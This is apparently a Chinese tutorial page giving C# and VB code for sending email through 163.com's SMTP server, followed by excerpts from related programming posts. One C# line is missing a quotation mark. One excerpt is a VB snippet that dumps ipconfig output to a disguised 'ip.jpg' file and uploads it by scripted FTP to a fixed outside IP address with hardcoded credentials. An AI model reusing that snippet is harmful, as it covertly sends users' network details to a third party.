asp.net,c#,vb,vbs,js各个语言的邮箱发送源代码
发送端以163为例
一、asp.net版 using System.Web.Mail; //命名空间引用
c#
MailMessage mail = new MailMessage();
mail.To = "shadow103@qq.com"; //接受人的邮箱
mail.from = "xxx@163.com"; //你自己的邮箱(注意qq邮箱不行)
mail.Subject = "你好帅哥"; //邮箱标题
mail.Body = "正文";
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusing","2")
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1"); //stmp验证
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", 你邮箱帐号");
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "你邮箱密码");
SmtpMail.SmtpServer = "smtp.163.com"; //代理邮件服务器
SmtpMail.Send(mail);
vb
Dim mail As New MailMessage()
mail.To = "shadow103@qq.com"
mail.from = "xxx@163.com"
mail.Subject = "你好帅哥"
mail.Body = "正文"
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusing","2")
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1") 'stmp验证
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", "你邮箱帐号")
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "你邮箱密码 ")
SmtpMail.SmtpServer = "smtp.163.com" '代理邮件服务器
SmtpMail.Send(mail)
相关文档:
C#与Flash交互 (转自小磊在线)
C#与Flash交互
前段日子公司要求做一个C#与Flash交互的东西,用来C#与短信猫通讯将数据传到Flash上显示与操作的应用。
第一步C#添加组件
打开VS2005-工具-选择工具箱项-COM组件-选择Shockwave Flash Object-确定
添加好组件往场景上拖放,如果提示注册需求注册
c# 注册控件-在运行输 ......
在学习过程中发现如果要上传的照片很大的话,速度会很慢,所以采用了在上传照片时同时上传缩略图的方式,这样就可以既不影响多个图片的浏览,又不影响查看具体的图片。
需要用到的命名空间:
using System.Drawing;
using System.IO;
using System.Drawing.Imaging;
#region 保存上传文件,方法名:UploadSave(string ......
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
ViewState["BackUrl"] = Request.UrlReferrer.ToString();
}
}
/// <summary>
/// 返回按钮点击事件
/// </summary& ......
ftp.txt文件内容为:
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为:
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
我想在asp中加一个链接,指向asp.net网页,但asp.net的网址是经过HttpUtility.UrlEncode变形和HttpUtility.UrlDecode变回的,而asp的server.urlencode却产生不了和HttpUtility.UrlEncode一样的编码,请问有没有解决办法
补充:原来asp.net的是"web.aspx?str="+HttpUtility.UrlEncode(str)
和HttpUtility.UrlDecode(Requ ......